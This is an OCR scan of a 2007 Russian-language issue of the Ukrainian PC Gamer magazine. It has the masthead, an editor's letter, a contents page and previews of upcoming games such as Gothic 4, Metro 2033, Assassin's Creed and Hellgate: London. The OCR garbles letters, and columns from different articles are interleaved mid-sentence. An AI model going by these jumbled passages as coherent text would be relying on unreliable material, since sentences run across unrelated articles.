Текст
                    МЕЖДУНАРОДНЫЙ ЖУРНАЛ О КОМПЬЮТЕРНЫХ ИГРАХ
ГРЯДЕТ WARGAME РЕВОЛЮЦИЯ
— '4 I	ч
В ромере:
Gothic 4: Genesis Call of Duty 4: Modern Warfare
F.E.A.R.: Perseus Mandate Unreal Tournament 3
>FarCry2 Crysis Empire: Total War
Medal of Honor: Airborne Stranglehold
World of Warcraft: Wrath of the Lich King Gears of War

[jSGAMER СЛОВО РЕДАКТОРА PUBLISHING HOUSE meaiasoFT РЕДАКЦИЯ Главный редактор Роман Оберемко Редактор Игорь Вакуленко Авторы Юлия Архангельская Валерий Бакай Кирилл Олейник Перевод Юлия Хижняк Алена Мякотенко Ольга Государская Роман Судольский Литературный редактор, корректура Татьяна Пекная ИЗДАТЕЛЬСТВО Учредители Мария Марченко Вадим Труханов Верстка и дизайн Игорь Кива (верстка) Богдан Тимофеенко (верстка) Игорь Мостовица (обложка, дизайнер рекламы) Директор по маркетингу и рекламе Владимир Вязьмитин Руководитель рекламного отдела Андрей Мыць Менеджер отдела рекламы Марченко Иван Распространение и подписка Александр Кулак (директор) Владимир Иорамашвили (руководитель направления) Владислав Иванов (менеджер) Руководитель интернет-проектов Дмитрий Божок Журнал «PC Gamer», № 2, сентябрь 2007 Выходит 1 раз в месяц Издается с сентября 2007 года Распространяется по всей Украине Учредитель и издатель — ООО «МТ Медиа Софт», г. Киев Адрес редакции и издателя: 03148, г. Киев, ул. Чаадаева, дом 2А, офис 48 Тел.: (044)407-15-23 Факс: (044) 407-15-34 into@mtmediasoit.com Свидетельство о регистрации печатного СМИ КВ № 12741 - 1625Р от 18.06.2007 выдано Министерством юстиции Украины Ответственность за содержание рекламных материалов несет рекламодатель. Цветоделение и печать — ТОВ «Новий друк» 02660, г. Киев, ул. Магнитогорская, 1 тел. (044) 537-24-00 Заказ № 07-5041 Подписано в печать Тираж 25 000 экземпляров Журнал издается по лицензии компании Future Publishing Ltd, Великобритания. Все переводные материалы являются собственно- стью Future Publishing Ltd. Future Publishing Ltd входит в группу Future pic и издает более 100 журналов в 30 странах мира. Windows и Windows Vista являются зарегистрированными тор- говыми марками корпорации Microsoft. С/Эот и пришла осень, пришла оконгательно. Заметно похолодало, пошли рат.яжные дожди, и теперь больше времени мы проводим дома. Чем Заняться холодными осенними вечерами ? ЗЛСонеЧно же, играть. ЛЧЛ играх, на которые стоит обратить внимание в зтот месяце, мы постарались рассказать на страницах нашего журнала как можно интереснее. ЗЛ1акже вы найдете описание проектов, которые только готовятся увидеть свет, и появятся в продаже, в большинстве своем, уже в этом году. СЗбы благодарим всех тех, кто написал нам в редакцию, прислал свои пожелания и свои идеи о контенте журнала. С31ы, но возможности, постарались отразить на страницах Лр-Л? братеЧ а все ваши предложения. ЗЛ все это только начало: U3 номера в номер мы будем стараться сделать журнал как можно интереснее и совершеннее. 3-ще, я хотел бы пригласить всех вас на выставку К^ЗЛ1ерритория ^ЗЛгр», которая пройдет в ЛЛЛиеве с 25 по 28 октября, в выставочном центре r_.s\_ue6' У/гсполблауа», что на СТСивках. с^ТСе буду сразу открывать все карты, норамеЧу, что на нашем стенде будет очень интересно - посетителей ж9Ут конкурсы, приры, новинки игр и многое-многое другое. b конце-концов, я хочу сообщить, Что уже в этом месяце появится сайт нашего журнала (ююю.рс-датеч.com.ua),на котором любой Читатель сможет радать редакции вопрос, обсудить новинки компьютерных игр, почитать самые рарнообрарные материалы, а также увидеть статьи, которые по рарным причинам не вошли в номер. '-''Читайте, играйте и получайте удовольствие! (ЛЗсегда с вами, Оман (£)беремко, главный редактор Ч^атеЧ Южап. овеЧетко @mtmetlia3oft.com Пишите письма: 02222, Киев-146, а/я 102 Наш e-mail: pcgamer@mtmediasoft.com Ноябрь 2007 GAMER 3
Выпуск №2 Ноябрь 5 С миру по нитке Operation Flashpoint 2: Dragon Rising.5 Gothic 4: Genesis.....................5 Zeno Clash............................6 Guitar Hero 3: Legends of Rock........6 8 Most Wanted 10 День грядущий Assassin’s Creed.....................10 Battlefield: Bad Company.............10 Duke Nukem Forever...................11 Metro 2033: The Last Refuge..........11 Hellgate: London.....................12 King’s Bounty. Легенда о рыцаре......12 9 рота...............................13 Илья Муромец и Соловей Разбойник.....13 Трудно быть богом....................14 StarCraft 2..........................14 Call of Duty 4: Modern Warfare.......16 EE.A.R.: Perseus Mandate.............18 Gears of War.........................20 Unreal Tournament 3..................22 The Settlers: Rise of an Empire......28 Far Cry 2............................30 Age of Conan: Hyborian Adventures....34 Crysis...............................36 42 МООификация First Contact: Planet Fall...........42 Casual Games.........................42 Back to the future: Hill Valley......44 92 Неудача сезона Weird Wars: The Unknown Episode of World War II.92 106 CyberSport World Cyber Games 2007............ 106 46 Critical Hit Empire: Total War....................46 55 Глаголим истину Overclocked..........................55 Obscure 2............................58 5.Т.А.Е.К.Е.Р.:Проклятая земля.......62 В-17. Летающая крепость 2............68 MX vs. ATV Unleashed: Битвы внедорожников..................70 Приказано уничтожить: Вьетнамский ад.......................72 Medal of Honor: Airborne.............74 Stranglehold.........................80 Heroes of Might and Magic 5: Tribes of the East...................84 87 Доктора!!! Такой безвирусный сентябрь...87 88 Интервью Из первых уст: Кен Ливайн....88 90 Hit те Глаз дьявола.................90 96 Special Вторая Зона отчуждения 96 112 Содержание диска 113 Анкета 114 Подписка 102 Мой мир MMORPG World of Warcraft: Wrath of the Lich King .. 102 Коммерция Lineage..........104 4 GAMER Ноябрь 2007
С миру по нитке OPERATION FLASHPOINT 2: DRAGON RISING Возращение на дальневосточный остров Разработчики из Codemasters на про- шедшей в Лейпциге выставке Games Convention 2007 представили первый ролик — продолжение серии Operation Flashpoint. GOTHIC 4: GENESIS Сохранят ли традиции Великой Готики? В конце 2001 года в Ев- ропе впервые ударили готические трубы исполнителей Piranha Bytes и продюсеров из Xicat Interactive. Зазвенели мечи, запели стрелы, покатились головы орков в фэнтэзийном мире под названием «Готика». Не прошло и года, как бразды правления и заявку на новый Сюжет второй части очень напоминает последние громкие хиты. Возможно, даже частично переплетает- ся с ними. Это игра Peoples General и книга Тома Клэн- си The Bear and the Dragon марш взяла небезызвестная Jo WooD Productions. Под их присмотром все те же лихие парни из Piranha Bytes препод- несли миру долгожданный сик- вел «Готика II». Геймеры всего мира ликовали, а разработчики и издатели пожинали славу и плоды своих творений... Когда создавалась третья часть, прошло ни много, ни («Медведь и дракон»), в ко- торых Соединенные Штаты помогают России отразить китайскую агрессию. Дейс- твие грядущего тактического шутера развернется на бога- том нефтью острове на север мало — а три года. И что в итоге? За вроде бы неплохим сюжетом скрывалась отврати- тельная картинка, созданная на устаревшем движке. И если бы дело было только в этом. То здесь, то там посыпалась целая куча глюков и недорабо- ток. А патчи и обновления так и не смогли кардинально за- латать пробоину во флагмане РПГ... Он стал тонуть... Яркий хит превратили в обычную ролевуху... Полетели головы парней из Pluto 13 (Piranha Bytes — прос- то брэнд). Ушедших на пенсию нужно было заменить. И сов- сем недавно Jo WooD огласила имя нового разработчика ро- левой серии Gothic. Созданием Gothic 4: Genesis уже начала за- ниматься немецкая компания от Японии, который Страна восходящего солнца попы- талась захватить с помощью силы. Если существующий дальневосточный остров будет воспроизведен в игре с максимальной точностью, то представьте, какие масш- табы битв и какая атмосфера встретят нас в ближайшем будущем! И хотя ролик официально представлен и изложен на не- которых сайтах, разработчики подсунули пока только краси- вую обертку, сказав, что кон- фетку нужно подождать. Дру- гими словами, графический движок игры будет отличаться от тех картинок, которые мы видели в ролике. Но трудолю- бивые и старательные разра- ботчики заверили, что поста- раются сделать, как минимум, не хуже. Смелые заявления, хотя у кого карты — тот и ко- мандует. Напомним, что авторы про- шлого проекта, чешская фир- ма Bohemia Interactive, не при- мут участие в этом проекте. Пока известно, что Operation Flashpoint 2: Dragon Rising пла- нируют закончить к середине 2008 года. И выйдет она на PC, PS3 и ХЬох 360 в следующем году. Что ж, война за нефть идет давно, посмотрим ее те- перь на экранах! КРАТКАЯ ИНФОРМАЦИЯ Жанр: Action (Tactical/Shooter) Разработчик: Codemasters Studios Издатель: Codemasters Статус: в разработке, запланирована на 2008 год Spellbound Entertainment. На счету немцев такие проекты, как Desperados: Wanted Dead or Alive, Airline Tycoon, Robin Hood: The Legend of Sherwood и Chicago 1930. Теперь самые главные, на- болевшие вопросы: получится ли у новых разработчиков со- хранить мир готики, который был в первых двух частях? Сохранятся ли оригинальный нелинейный сюжет и развитая боевая система? Ведь краси- вую картинку, но бездушную игру, создать нетрудно. А нам же нужно полноценное про- должение! Ждем-с... КРАТКАЯ ИНФОРМАЦИЯ Жанр: RPG / 3D Разработчик: Spellbound Entertainment Издатель: JoWooD Productions Статус: выход запланирован на 2009 год Ноябрь 2007 GAMER 5
С миру по нитке Guitar Него 3: Legends of Rock Хит-парад для меломанов! Zeno Clash Чилийская презентация Думаю, что многие наслышаны о такой игре, как Guitar Него, до недавнего време- ни выходившей только лишь на консоли Play Station 2. Владельцам PC оставалось только лишь кусать локти и с завистью мечтать о нестандартных контроллерах и необычных играх. Но все когда-нибудь да сбывается, и компания Neversoft Entertainment до- бралась таки до рынка PC, выпустив игру Guitar Него 3: Legend of Rock. Считаю, не стоит говорить о том, что редкий геймер не представлял себя когда- либо рок-звездой, которую бо- готворит публика, ругает прес- са и поджидают поклонницы. Теперь эти мечтания можно претворить в реальность. Игра представляет поистине неограниченные возможнос- ти — вы можете исполнять на виртуальной сцене, как свои личные композиции, так и обыгрывать мировые хиты. Есть возможность играть са- мому против компьютера, так и сражаться с друзьями. Guitar Него 3 предложит гей- мерам порядка 70 композиций, среди которых творения самых разнообразных групп: от «ста- ричков» ZZ Тор и Guns 'п Roses, до молодежи The Killers и Revolverheads. К слову сказать, одним из «боссов» в игре станет легендарный Тот Morello (Rage Against the Machine, Audioslave). В сети уже доступны первые скриншоты, по которым мож- но оценить графику и антураж игры, на картинках можно узнать королей рок-сцены, также вполне узнаваемо вы- глядят гитары от мировых брендов — Gibson, Ibanez, и др. Будем же с нетерпением ждать выхода Guitar Него 3: Legends of Rock и надеяться, что PC версия будет не хуже, чем Play Station. КРАТКАЯ ИНФОРМАЦИЯ Жанр: Arcade/3D Разработчик: Neversoft Entertainment Издатель: Aspyr Media Статус: в разработке, запланирована на IV квартал 2007 года Студия АСЕ Team, чей офис рас- положен в Сантьяго, столице Чили, купила у ком- пании Valve лицен- зию на движок Source Engine, который ис- пользовался при соз- дании экшена Half- Life 2 и ряда других популярных проектов. На его основе чилийцы собираются выпустить фэнтезийный экшн Zeno Clash. Как утверждают авторы, герои, вместо традиционного оружия (автоматов, пистоле- тов и лазерных пушек), будут крушить врагов кулаками и незамысловатым холодным оружием. Любителям стре- лялок просьба не путаться, в игре будет присутствовать и несколько видов огнестрель- ного оружия, но все оно будет экзотическим и неповтори- мым. Благодаря магическим заклинаниям и амулетам, эффективность подобных орудий убийства может быть значительно повышена. Ведь какой фэнтезийный мир суще- ствует без магии, артефактов и загадочных существ. Все это будет. К тому же, по мнению дизайнера АСЕ Team Андрю Борде, все должно выглядеть самым лучшим образом, ведь «работа с Source дает нам возможности, инстру- менты и гибкость в движке, для того чтобы воплотить в жизнь игровой мир, лучший из когда-либо созданных». Разработчики предложили обогатить боевую систему целой кучей приемов и комбо- ударов. А вот, сможет ли пер- сонаж использовать магию в бою — пока не ясно. Но будем надеяться на лучшее! Что касается сюжета, то, судя по всему, Zeno Clash будет разделен на несколь- ко эпизодов. Первая глава начинается с того, что один охотник-бродяга был изгнан из могущественного клана, причем помогли ему завист- ливые родственнички. Теперь бедолаге придется скитаться по многочисленным красоч- ным локациям и постоянно бороться за свою жизнь... Ведь, как говорится — дайте меч, а враги всегда найдутся. Такой девиз будет и у нашего нового героя, а точнее, у чи- лийского проекта Zeno Clash, релиз которого обещают к концу 2008 года. КРАТКАЯ ИНФОРМАЦИЯ Жанр: Action(Shooter)/3D/lst Person Разработчик: АСЕ Team Статус: в разработке, запланирована на 2008 год 6 PCGAMER Ноябрь 2007
зарабатывать очки, а они, в свою очередь, предоставят вам дополнительные возможности. Более того, все, что делает одиночную игру особенно интересной — это способность стрелять через стены, двери Ходят слухи, что скоро будет готова демка. Что ж, будем надеяться, что она — последняя, и мы скоро сможем насладиться полноценной игрой. Дата выпуска: Ноябрь. Мы говорим: К рождеству. и устраивать настоящую резню — можно тайно проникать куда все это есть и в онлайн-версии. угодно, и даже безопасными DEAD Еще чуть-чуть и вы узнаете, как воняют пьяные зомби. Ужасные зомби были коньком QuakeCon. И, что нас особенно поражает, так это невероятный масштаб всего этого. Да, перед нами предстают огромные зомби-мутанты, но, что особенно важно — они находятся в огромном городе. Конечно, это не громадные карты онлайн-игр, но они содержат обширные города, наполненные территориями, которые нужно исследовать, тоннелями, через которые местами, где можно скрыться. В процессе битвы вы можете забаррикадировать двери трупами врагов, чтобы отдохнуть и поделиться с игроками аптечками, подлечиться и продолжать противостоять непрерывным атакам зомби. А потом рушите баррикаду — и снова окунаетесь в безумную перестрелку. Огромное количество зомби появляются из ниоткуда, рыщут по углам и стараются проломиться к вам сквозь плотный пулеметный огонь. Короче, веселье гарантировано. Дата выпуска: 2008. Мы говорим: Хорошо, что пока хоть в TF2 поиграть можно. 5 THE AGENCY ОН-ЛАИН- ШПИОНАЖ Почему-то существует очень мало игр, основанных на шпионаже, поэтому мы и ждем The Agency с особым замиранием сердца и зудом в пальцах, которым не терпится приступить к прохождению. Это новый онлайн-шутер, выдержанный в традиционном стиле ММО, но по жанру смахивающий на Guild Wars. Области, разделенные с другими игроками, совместное прохождение миссий и приобретение нового оборудования — вот примерный сценарий. В отличие от любого другого ММО, эта игра по оформлению больше походит на TF2, с ее шуточками и суперсексуальной одеждой шпионов, играющих своими оголенными мускулами. В игре воплощено много забавных идей. После успешно пройденной миссии ваше агенство должно выдать вам новое оборудование, например... новый автомобиль шпионской марки! Игра подходит как для ПК, так и для PS3. Дата выпуска: Кто его знает... Мы говорим: не раньше весны 2008 года. Ноябрь 2007 PCGAMER 9
День грядущий Assassin's Creed Будни наемного убийцы... И вновь разработчики из Ubisoft Montreal заставили повернуть взор игрового мира в свою сторону. Ожидаемый шедевр — ни что иное, как Assassins Creed, о котором начали трубить еще в 2006 году. Помните пестрые при- ключения в Prince of Persia и таинственный воровской мир Thief? Так вот, разработчики пообещали сделать свой про- ект гораздо ярче, чем былые хиты, и заполнить сюжет не только яркими схватками, но и историческим подтекстом! И, судя по картинкам и ярким видео, они близки к этому! Сюжет игры переносит нас во времена Третьего крестового похода, в год 1191. Под палящими лучами солнца в пустынных, но сказочно богатых землях вновь неспокойно: мавры и крестоносцы ведут священную войну. Наш герой, хашашин по имени Альтаир, равно как и его коллеги по «мокрому» ремеслу, играет особую роль в конфликте — он намерен погасить пламя войны, расправившись с обеими ее сторонами. Его приемы отточены, Его рука не знает промаха, а сердце — пощады. Спрятанные в рукавах клинки, Его приемы отточены, Его руна не знает промаха, а сердце — пощады КРАТКАЯ ИНФОРМАЦИЯ Жанр: Action / 3D / 3rd Person Разработчик: Ubisoft Montreal Издатель: Ubisoft Entertainment Статус: выход запланирован на конец 2007 — начало 2008 года надежный лук, орлиное зрение и быстрые ноги — чем не средневековый Сэм Фишер? Авторы обещают, что мы сможем расправляться с мишенями «где, когда и как угодно», использовать интерактивное окружение, карабкаться по любой поверхности и учитывать реакцию окружающих на наши поступки. В зависимости от наших действий, толпа поможет или, напротив, помешает киллеру осуществить план. Помните акробатические трюки царевича в Prince of Persia? Теперь Альтаир будет вынужден считаться с инерцией. Чем быстрее он мчится, тем сложнее ему сохранить равновесие, споткнувшись о препятствие... В общем, мы ожидаем красивейшую графику, развитую боевую систему и опаснейшие задания! Кроме этого, Ubisoft Entertainment официально подтвердила факт разработки экшена Assassins Creed не только для PlayStation 3, но также для PC (и, надо полагать, для ХЬох 360). Поэтому наберитесь терпения, дорогие мои, скоро вы сами сможете ощутить всю силу и величие эпохи завоеваний! BATTLEFIELD: Bad Company Давай-ка повоюем, брат! Хотя пара стволов всегда рядом Не успела компа- ния Electronic Arts издать Battlefield 2142, как вот и он, очередной гром- кий проект под названием Battlefield: Bad Company. И, судя по всему, ребятам есть что показать! Во-первых, нам предлагают полноценную сюжетную кам- панию, повествую- щую о противо- стоянии двух по- литических блоков. Каких, я думаю, не сложно догадаться, увидев в роликах американских спецназовцев, которые отступают от русско- го танка Т-80... Эх, им явно не хватило битв в World in Conflict: опять знакомая техни- ка и старые флаги. Но сюжету и боевому накалу страстей поза- видовали бы многие стрелялки: ваш герой, вместе с парочкой десантов-диверсантов, забира- ется во вражеский тыл, чтобы провести секретную операцию. Вот она, острота момента, когда чувствуешь себя одиноким и лишенным поддержки. Хотя пара стволов всегда рядом. Во-вторых, игра приятно поразила обилием реальной техники: кроме ручного оружия, присутствует и куча тяжелого. И, если верить разработчикам, можно будет поражать боевые единицы противника. Но это не главное. А главное то, что, если создатели воплотят задуманное, будет просто еще один дополни- тельный детонатор в водородной бомбе! Потому что 90% игрового мира можно будет разрушить, чему поспособствует движок Frostbite Engine. Времена, когда хлипкая хижина или телеграфный столб превращались в не- преодолимое препят- ствие для могучего «Абрамса», вот-вот уйдут в прошлое. В качестве довеска к геймплею типа «песочница» Digital Illusions обещает по-голливудски постав- ленное действие, массу приклю- чений и заряд «черного юмора». О графике и эффектах можно говорить часами. До- статочно увидеть разговоры и мимику солдат. А о взрывах зданий вообще лучше промол- чать и рассказать тем, у кого будут мощные машины. Так как за крутые спецэффекты нужно платить железом! Но ЭТА война стоит внимания! КРАТКАЯ ИНФОРМАЦИЯ Жанр: Action(Shooter)/3D/lst Person Разработчик: Digital Illusions Sweden Издатель: Electronic Arts Статус: выход запланирован на 2008 год ю PCGAMER Ноябрь 2007
DUKE NUKEM Да здравствует самый живучий долгострой в мире! Дорогие мои, не спешите поки- дать наш кино- зал, спектакль состоится, ведь актеры задерживаются всего на 20 минут», — попробовал под- бодрить разочарованную пуб- лику ведущий. В зале послыша- лось явное недовольство... Такие же эмоции вызвал и затянувшийся выход куль- тового шутера Duke Nukem Forever. Помните, как его все ожидали еще в 2005 — 2006 году? Сейчас осень 2007-го, а его все нет и нет. К слову сказать, Duke Nukem Forever получила почетный приз «vaporware всех времен и на- родов», ибо вот уже восьмой год живет в офисе 3D Realms и выходить наружу пока не •.да- ***' Metro 2033: The Last Refuge He напетлять бы в «подземке» московской... Разработчики игро- прос: сумеют ли разработчики вой индустрии все создать действительно увле- боль- кательные и за- ше и За голову нятные концовки, больше внимания ' не похожие на мутанта уделяют кино- блокбастерам и книжным рома- нам, извлекая дают семь патронов! оттуда сюжеты и вытаскивая героев. Но тогда возникает во- собирается, несмотря на то, что многое уже давным-давно готово. Созданы основные виды оружия, существ и уров- ней, а интерактивный мир присутствует в достаточной степени. Причем, как отмеча- ют критики, Дюк получился именно такой, которого мы все полюбили в 1996-м. Дюк будет щеголять физи- ческим движком от малоиз- вестной шведской компании Meqon. Хотя на картинках и ролике игра смотрится до- вольно симпатично, мы пони- маем, что к моменту выхода шутера она устареет. Дизайнеры студии делают ставку на то, что его ждут и непременно купят. Ведь Дюк — один из праотцов со- временных стрелялок и в те, которые мы знаем из книг или фильмов? Еще лучше — несколь- ко вариантов завершения игры, ведь это одна из самых рекламе не нуждается. К тому же, если разработчики при- вяжут крутой сюжет в своем «фирменном» стиле, то все будет очень даже неплохо. А мы помним, какие динамиче- ские бои подарили нам в пер- вой части. Многие уверены, что проект или выйдет в конце 2007 года, или не выйдет во- обще. И теперь, доселе убеди- тельно звучавшие слова главы 3D Realms Entertainment о том, что проект будет завершен ярких и вкусных «изюминок»! Ну что ж, доверимся разра- ботчикам. За «Метро 2033» взялась киевская команда «4А Games», те самые, которые при- нимали участие в проекте S.T.A.L.K.E.R. За основу сю- жета была взята одноименная книга Дмитрия Глуховского. Место действия — разру- шенная Москва, где челове- ческая жизнь теплится в тун- нелях метро. Станции превра- тились в маленькие государс- тва с разными политическими режимами, а на поверхности живут уродливые мутанты. Итак, нам предстоит играть за главного героя «подземки» — Артема. Его задача — охранять подходы к одной из ключевых станций метро «ВДНХ». Если она падет под ордами мутантов, то все, «пишите письма» и хо- роните последних обитателей. Но чтобы этого не случилось, придется бегать за помощью на другие станции. Как мы уже понимаем, нам предстоит шататься по темным, мрачным подземельям метро. Как обещали разработчики, мы сами сможем выбирать стиль прохождения — стать при любых обстоятельствах и беспокоиться не стоит, звучат как-то серо. Иными словами, дата рели- за Duke Nukem Forever остает- ся неизменной. Игра выйдет в свет, «когда ее сделают». А ее фанатам придется потерпеть и состариться. А куда ж де- ваться? Жанр: Action (Shooter)/3D/lst Person Разработчик: 3D Realms Entertainment Издатель: Take-Two Interactive Статус: возможно, в IV квартале 2007 года кровожадным мясником или же пробираться сквозь врагов тихо и незаметно, как мышь. И лишь иногда, при виде напа- дающего врага, пищать и ку- саться. Серьезный тактический ИИ и интерактивная техника — одна из «изюминок» игры. Интересны и второстепен- ные квесты, за выполнение которых разные NPC обещают кучу полезного барахла. Кста- ти, торговля будет проводиться не в долларах, не в монгольских тугриках, а патронами. А как вы думали? Война все же! КРАТКАЯ ИНФОРМАЦИЯ Жанр: Action(Shooter)/3D/lst Person Название в СНГ: Метро 2033 Разработчик: 4А Games Статус: выход запланирован на IV квартал 2008 года Ноябрь 2007 Р GAMER н
День грядущий Действие Hellgate: London разворачива- ется в наше время в столице Великоб- ритании. Люди подверглись жестокому и ко- варному нападению демонов Ада, и теперь весь город по- лыхает в огне... Разрушенный Лондон стал центром оплота людей, среди которых и Орден Тамплиеров, предки которых предсказывали апокалипсис еще несколько столетий назад. Храмовники, истинные вои- ны Света, сплотились и начали ковать новое могучее оружие, основанное на магии и новей- ших технологиях. Персонаж сможет носить броню, рубить и расстреливать проклятых бестий, используя огромный арсенал оружия. Причем, как утверждают разработчики, Hellgate: London — шутер, существущий по законам клас- сических RPG. Попадания в противника и наносимый урон будут зависеть от навыков персонажей и выбранного ору- жия. Предполагается, что, по- HELLGATE: LONDON Темное наследие легендарного Diablo 2 мимо стрельбы и заклинаний, в игре будет и рукопашный бой. В настоящее время авторы раздумывают: стоит ли вводить для него вид от третьего лица. Ролевая система действи- тельно напоминает классиче- Отправить всех обратно в Ад! ские RPG. Убивая монстров, игрок получает опыт, который используется на прокачку уме- ний. Основных умений три: Vengeance (на- ступательные заклинания и навыки), Auras (активные заклинания) и ком- бо, вступающие в действие, после того как герой наносит врагу критический урон. Особое внимание разработ- чики сосредоточили на муль- типлеере, в который войдут все миссии «сингла», а также ряд эксклюзивных режимов, включая знакомый по Diablo 2 Hardcore (гибель персонажа навеки выводит его из игрового мира). Мир Hellgate: London по- резан на небольшие локации, где можно в одиночку или группой пострелять в монстров. Будет ли возможность поиграть за дьявольских созданий, раз- работчики умалчивают. Сейчас дизайнеры Flagship Studios вво- дят полноценную систему обще- ния пользователей, институт гильдий и, разумеется, полиру- ют баланс. Что ж, посмотрим, насколько проект будет ориги- нальнее классического Diablo. КРАТКАЯ ИНФОРМАЦИЯ Жанр: Action (Shooter)/RPG/ Разработчик: Flagship Studios Издатель: Electronic Arts/Namco Bandai Games America Статус: выход запланирован на IV квартал 2007 года Увидев скриншоты и видео «King’s Bounty. Легенда о рыцаре», волей-неволей вспо- минаешь легендарную по- шаговую стратегию Heroes of Might & Magic. Похожие герои, ведущие свои войска к победе, пошаговая система боя... Так- то оно так, но не стоит думать, что это клон, а лучше посмо- треть самим. «Легенда», в отличие от НоММ, Master of Magic или Disciples, — не стратегия в чис- том виде. Сами авторы назы- вают ее приключением. И это так. Ведь бой - это всего лишь часть игры, ее механизм. В чем отличие? Да в том, что здесь нет городов, в которых нанимаются войска, нет пос- троек для найма, отсутствуют ресурсы, дипломатия и про- чее, свойственные вышеука- занным стратегиям. В игре есть только герой, пять слотов для наемного отряда, несколько десятков районов, сросшихся в единое королевство, а множество построек и NPC, торгующих войсками, артефактами, за- клинаниями или выдающих задания. В начале игры мы можем выбрать три класса: воин, King's Bounty. Легенда о рыцаре Истоки... чародей или паладин. От вы- бора класса зависит тактика боя, но не сюжетная линия. Повышая уровень, мы прока- чиваем основные параметры героя: атаку, защиту, интел- лект и манну. Кроме этого, присутствуют и несколько десятков навыков. Развивая, например, полководческие способности, герой может увеличивать число воинов своей команды. Интересна и магическая система, не менее важна в битвах. Отдельно следует описать огромное количество оружия, доспехов и артефактов. Если ваш персонаж выступает на стороне добра, то магические боты некромантов уж никак не придутся ему в пору. От этого может пострадать не только главный полководец, но и его законопослушная рать. Ведь какое живое созда- ние пойдет за злобным вол- шебником? Оружие теперь можно улуч- шать с помощью рун или прокачивать вручную. Чтобы превратить «Топор Орков» в «Великий Топор Орков», при- дется расправиться с его хра- нителями - далеко не слабой группой зеленокожих. Заман- чиво, не правда ли? КРАТКАЯ ИНФОРМАЦИЯ Жанр: Strategy (Real-time/Turn-based) Разработчик: Katauri Interactive Издатель в СНГ: фирма «1С» Статус: выход запланирован на IV квартал 2007 года 12 PCGAMER Ноябрь 2007
ЭРОТА Сквозь кровь, смерть и горные аулы Пыль, кровь, пепел и запах войны при- нес нам фильм Федора Бондарчука «9 рота»... Подвиги и просче- ты, удачи и тяжелые потери советских военнослужащих, а главное — истинное лицо кровавой Афганской войны едва ли можно забыть... Одноименная компьютерная игра расскажет о самых ярких операциях 345-го отдельного гвардейского парашютно- десантного полка... Начнем, пожалуй, с того, что игра будет содержать два режима: оперативную карту и 12 тактических карт, модели- рующих различные области Афганистана. Игроку дается несколько подразделений, для того чтобы выполнить постав- ленную боевую задачу. Защита и сопровождение конвоя, удер- жание высоты, разведка и пол- номасштабные бои — это то, Илья Муромец и Соловей-Разбойник Эх, тряхнем стариной! лья Муромец и Соловей Разбойник» — яркая увле- кательная игра, сюжет которой переносит нас в мир сказок, приключений и былин. Аркада является своего рода продолжением популярной игры «Алеша Попович и Тугарин Змей». И теперь старые герои воз- родились, а к ним прибави- лись и новые. Конечно, как утверждают разработчики, игрушка будет отличаться от одноименного полноме- тражного мультипликаци- онного фильма, посвящен- ного всенародному герою и его подвигам. Нам придется играть за былинного богатыря Илью Муромца. Герой отличается колоритным характером, так что захватывающие приклю- что ожидается в «9 роте». Но не думайте, что все здесь так легко. Даже если ваше подраз- деление усилено танками и БТР, едва ли последние смогут маневрировать в условиях гористой местности. И враг не будет церемониться, вступая в открытый и бессмысленный бой. Он предпочитает парти- занскую войну. Внезапные вы- лазки деморализуют войска и причиняют ощутимые потери. Десятки танков, вертолетов и другой техники были уни- чтожены переносными ком- плексами «Игла». Всего одним выстрелом... Разработчики обещают, что в игре во время боя будут учитываться навыки и спо- собности юнитов, их мораль и опыт. Не последнее место отводится достоверной фи- зике стрельбы и степени по- вреждений (ранений) боевых единиц. Всего их планируется чения вам гарантированы! Отличились и его попутчи- ки: Князь Киевский пред- ставлен как явный обалдуй и задира, а острая на язык красна девица Аленушка скрасит и без того веселую компанию! Герою предстоит найти богатырского коня Бурушку, отыскать золотой запас Руси, похищенный вероломным Соловьем- Разбойником и восста- новить справедливость, наказав главного злодея и его сообщников. Весь этот нелегкий путь будет про- легать через древнерусские городки и деревушки, непо- вторимые пейзажи и экзоти- ческие места. Несмотря на то, что графи- ка и анимация мультяшная, прорисовка локаций и самих героев стоит наивысших по- хвал. Продуманная система создать более восьмидесяти. Кроме этого, впечатляет и со- ветская техника: танки Т-72, вертолеты Ми-24 и Ми-8, АК, РПК, гранатометы и прочее вооружение. В тактическом арсенале командира окажутся: ар- тиллерийские обстрелы, бомбардировки, обходы и фланговые маневры, штурм и оборона зданий и укре- плений. Причем действия и маневры будут целиком зави- диалогов, озвучивание героев профессиональными актера- ми, масса различных квестов будут все время держать игро- ка в напряжении. Но один совет на будущее: не стоит никому доверять, даже если персонаж улыбается и щедро осыпает комплиментами — сеть от игрока. В игре будут присутствовать некоторые герои из фильма, но будут ли они «бессмертными» (то есть, нужно ли их сохранять в ходе операции) — пока неизвест- но. Скоро вновь разгорятся бои, а это главное! КРАТКАЯ ИНФОРМАЦИЯ Жанр: Strategy (Real-time) I 3D Разработчик: Lesta Studio Издатель: Новый Диск Статус: выход запланирован на IV квартал 2007 года ведь кто сказал, что в старину не водились разбойники и шарлатаны? КРАТКАЯ ИНФОРМАЦИЯ Жанр: Arcade Разработчик: PIPE Studio Издатель в СНГ: фирма «1С» Статус: выход запланирован на IV квартал 2007 года Ноябрь 2007 GAMER 13
День грядущий ТРУДНО БЫТЬ БОГОМ Проследуем путем Богов Уже не первый год российская компания «Акелла» готовит всех к выходу ролевой игры «Трудно быть богом» по однои- менному роману Стругацкого. Самая главная «фишка» игры — это ее нелинейный сю- жет, причем, помимо несколь- ких ответвлений от основной канвы сценария, обещаны четыре концовки, зависящие от поступков главного героя. В игре, как и в книге, в одном формате предсто- ит развивать, как средневековое оружие и доспе- хи (мечи, копья, арбалеты), так и современное огнестрельное, которое «за- несли» другие «боги». Уникальная система боя, как пообещали авторы, по- нравится всем любителям РПГ. Помимо разнообразных комбоударов, которые про- качиваются с получением уровней, будут учитываться и ранения, полученные в бою. Чтобы некоторые восстано- вить — понадобится время. Но если вас покалечат (!), а могут отрубить не только руку, но и другие части тела, Предстоит развивать и огнестрель- ное оружие, ноторое «занесли» другие «боги» КРАТКАЯ ИНФОРМАЦИЯ Жанр: RPG/3D/3rd Person Разработчики: Burnt Creative Team и Акелла Издатель: Nobilis Издатель в СНГ: Акелла Статус: выход запланирован на IV квартал 2007 года можно навсегда остаться инвалидом и получить про- звище Однорукий или Трех- палый... В игре присутствуют и другие персонажи. Им можно отдавать приказы, защищать, атаковать и прочее... Но что- бы наемники подчинились беспрекословно, их нужно либо задобрить, либо напу- гать. Продумана и система пере- движений. Все локации на ма- терике Арканар выполнены в стиле «Князя» или Fallout — по карте можно перемещаться туда-сюда, при этом скорость перемещения 